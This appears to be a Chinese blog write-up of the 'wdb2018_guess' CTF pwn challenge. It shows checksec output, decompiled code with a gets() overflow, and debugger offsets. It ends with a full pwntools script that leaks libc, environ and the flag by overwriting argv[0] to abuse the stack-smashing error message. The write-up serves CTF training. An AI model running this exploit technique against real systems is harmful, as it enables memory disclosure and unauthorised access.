加载头像

wdb2018_guess

Ubuntu16 来源:https://github.com/bash-c/pwn_repo


0x01


checksec

1
2
3
4
5
6
[*] '/home/zelas/Desktop/pwn/wdb2018_guess/GUESS'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found //栈溢出保护
NX: NX enabled //栈不可执行
PIE: No PIE (0x400000)

IDA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__WAIT_STATUS stat_loc; // [rsp+14h] [rbp-8Ch] BYREF
__int64 v6; // [rsp+20h] [rbp-80h]
__int64 v7; // [rsp+28h] [rbp-78h]
char buf[48]; // [rsp+30h] [rbp-70h] BYREF
char s2[56]; // [rsp+60h] [rbp-40h] BYREF
unsigned __int64 v10; // [rsp+98h] [rbp-8h]

v10 = __readfsqword(0x28u);
v7 = 3LL;
LODWORD(stat_loc.__uptr) = 0;
v6 = 0LL;
sub_4009A6(a1, a2, a3);
HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0);
if ( HIDWORD(stat_loc.__iptr) == -1 )
{
perror("./flag.txt");
_exit(-1);
}
read(SHIDWORD(stat_loc.__iptr), buf, 0x30uLL); //将flag读入buf中
close(SHIDWORD(stat_loc.__iptr));
puts("This is GUESS FLAG CHALLENGE!");
while ( 1 )
{
if ( v6 >= v7 )
{
puts("you have no sense... bye :-) ");
return 0LL;
}
if ( !(unsigned int)sub_400A11() )
break;
++v6;
wait((__WAIT_STATUS)&stat_loc);
}
puts("Please type your guessing flag");
gets(s2); //gets()函数存在栈溢出
if ( !strcmp(buf, s2) )
puts("You must have great six sense!!!! :-o ");
else
puts("You should take more effort to get six sence, and one more challenge!!");
return 0LL;
}

有三次gets()

触发栈溢出保护

b'*** stack smashing detected ***: ./pwn/pwn terminated\n'

输出了./pwn/pwn

0x02


libc-2.23.so

思路

./pwn/pwn 文件名是main() 的__libc_argv[0]参数

flag存在buf中

environ是libc中存储栈地址的一个变量 我们可以泄露libc地址然后算出environ的地址 然后算出flag和environ的偏移 就可以将flag通过触发cancry报错出来

调试获得environ与flag之间的偏移
pwndbg> p $rbp-0x70
$1 = (void *) 0x7fffffffdd50
pwndbg> b *environ
Breakpoint 3 at 0x7fffffffdeb8

0x7fffffffdeb8- 0x7fffffffdd50 = 0x168

pwndbg> p $rbp-0x40
$5 = (void *) 0x7fffffffdd80

pwndbg> p &__libc_argv[0]
$6 = (char **) 0x7fffffffdea8

0x7fffffffdea8-0x7fffffffdd80 = 0x128

1.利用gets()处溢出至__libc_argv[0],got泄露libc

2.用LibcSearcher计算出environ地址,再次溢出泄露environ在栈上的地址

3.计算得到flag(buf)的地址,再次溢出得到flag

0x03


exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
from LibcSearcher import *

context(log_level='debug', os='linux', arch='amd64')
debug = 1
if debug:
io = remote('node4.buuoj.cn', 25943)
else:
io = process(['./GUESS'])
elf = ELF('./GUESS')
io.recvline()
padding1 = 0x128
puts_got = elf.got['puts']
payload1 = flat(b'a' * padding1, puts_got)
io.sendline(payload1)
delmis = b'\x7f'
puts_addr = u64(io.recvuntil(delmis)[-6:].ljust(8, b'\x00'))
print('[+] Puts_address -->', hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
environ = libc_base + libc.dump('__environ')
padding2 = 0x168
payload2 = flat(b'a' * padding1, environ)
io.sendline(payload2)
environ_addr = u64(io.recvuntil(delmis)[-6:].ljust(8, b'\x00'))
print('[+] environ_addr -->', hex(environ))
print('[+] environ_addr -->', hex(environ_addr))
flag_addr = environ_addr - padding2
payload3 = flat(b'a' * padding1, flag_addr)
io.sendline(payload3)
io.recv()
pause()
io.interactive()


评论
✅ 你无需删除空行,直接评论以获取最佳展示效果
引用到评论
随便逛逛博客分类文章标签
复制地址关闭热评深色模式轉為繁體